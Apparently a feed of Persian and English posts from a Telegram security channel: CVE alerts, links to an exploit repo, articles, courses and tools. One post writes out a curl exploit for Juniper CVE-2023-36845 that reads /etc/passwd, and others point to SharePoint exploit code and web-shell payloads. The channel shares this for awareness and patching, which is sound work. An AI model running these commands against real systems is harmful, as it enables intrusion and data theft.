۳۰ عدد موتور جستجوی امنیت
@Engineer_Computer

⭕️آسیب پذیری با شماره CVE-2023-29357 برای Microsoft SharePoint Server ثبت شده که اکسپلویت اون در گیت هاب در دسترس است.
تارگت های زیادی در ایران آسیب پذیر هستند، لطفا بروزرسانی کنید.


https://github.com/Chocapikk/CVE-2023-29357/tree/main
#exploit #pentest #redteam
@Engineer_Computer

Weak passwords = easy targets.

83% of hacked passwords meet complexity standards, but here's the catch: attackers have BILLIONS of stolen credentials.

Is your organization prepared? Discover the defenses you need➡️ https://thehackernews.com/2023/09/are-you-willing-to-pay-high-cost-of.html

⁩@Engineer_Computer

info
AI Vulnerability Database:
An open-source, extensible knowledge base of AI failures
https://avidml.org

@Engineer_Computer

۴ ترابایت دیتای ایرانسل لیک شده ؟🤦‍♂

⭕️Juniper Web Device Manager - RCE
CVE-2023-36845


curl "http://xxxx:xxxx/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"' -X POST

Nuceli Template :
https://templates.nuclei.sh/@yaser.cse/5kvxiVMvfLu4nLRW8EGbRu

#CVE #Juniper
@Engineer_Computer

⭕️ SQL injection to RCE

در این مقاله هکر سعی میکنه باگ sqli رو به یک باگ خطرناک تر تبدیل کنه.

پیلود های استفاده شده در این مقاله دو نوع هستند:
1. در اولین پیلود سعی داره یک شل روی سرور اپلود کنه و با استفاده از اون دستورات رو روی سرور اجرا کنه.

2. در پیلود دوم سعی میکنه با استفاده از باگی که گرفته از قبل اطلاعات حساس در فایل های روی سیستم رو بخونه.

لینک مقاله:

🔗 https://bit.ly/sqli-to-rce-sep-28-2023

#RCE #SQLi
@Engineer_Computer

۶ عملی که مدیران عامل در هنگام مواجهه با خرابکاری سایبری باید انجام دهند

https://hbr.org/2023/09/6-actions-ceos-must-take-during-a-cyberattack?ab=hero-subleft-2

@Engineer_Computer

امنیت فیزیکی

زیرساخت برق

https://covertaccessteam.substack.com/p/unplugging-cities-the-fragile-nature

@Engineer_Computer

۷۰ ساعت دوره آموزشی هکر قانونمند
با ۳۶ آزمایش
از سیسکو
رایگان

https://skillsforall.com/course/ethical-hacker?courseLang=en-USو

@Engineer_Computer

برنامه نویسان و WAF کاران محترم

پارامتر های این مستند علیه شما برای محیط SQL استفاده می‌شود، توجه داشته باشید
@Engineer_Computer

#Video #MalwareAnalysis

▪️Reversing in action: Golang malware used in the SolarWinds attack. Part 1 and Part 2

در این دو ویدیو به تحلیل بدافزاری که در زبان برنامه نویسی Go نوشته شده بود و در حمله به SolarWinds استفاده شد، پرداخته میشود.

@Engineer_Computer

#Tools

▪️LOLDrivers HTA Generator (Living Off The Land Drivers)

Disclaimer: This is an experimental HTA generator for LOLDrivers.

It's paramount to understand that this tool and the generated HTAs are crafted purely for educational and research goals.

Any unauthorized or malevolent use is vehemently discouraged and may be deemed illicit.

An EICAR is by default in the HTA and embedded in the driver.

@Engineer_Computer

#Article #Programming

▪️Writing a Debugger From Scratch by Tim Misiak

در مجموعه جدید آموزشی آقای Tim Misiak به نام "نوشتن دیباگر از ابتدا" هدف اینه که تا جای ممکن با نحوه کار دیباگر ها آشنا بشید.

در ضمن نویسنده با زبان برنامه نویسی Rust این دیباگر رو جلو میبره.

DbgRs Part 1 - Attaching to a Process
DbgRs Part 2 - Register State and Stepping
DbgRs Part 3 - Reading Memory
DbgRs Part 4 - Exports and Private Symbols
DbgRs Part 5 - Breakpoints

@Engineer_Computer

دست به آچار با شودن
@Engineer_Computer

کتاب کار برنامه ریزی امنیت
از CISA
@Engineer_Computer

به روش‌هایی برای زبان SPL در اسپلانک
@Engineer_Computer

زمینی جدید برای مسابقه

شرکتی روسی برای یافتن آسیب پذیری در آیفون و اندروید جایزه گذاشته است

از ۲۰۰ هزاردلار تا ۲۰ میلیون دلار !!

خریداران آسیب پذیری از این شرکت، نمی‌توانند جزو کشورهای عضو ناتو باشند .
https://techcrunch-com.cdn.ampproject.org/c/s/techcrunch.com/2023/09/27/russian-zero-day-seller-offers-20m-for-hacking-android-and-iphones/amp/

@Engineer_Computer

You can use PHP as a C preprocessor
Why not ? 😅😁

@Engineer_Computer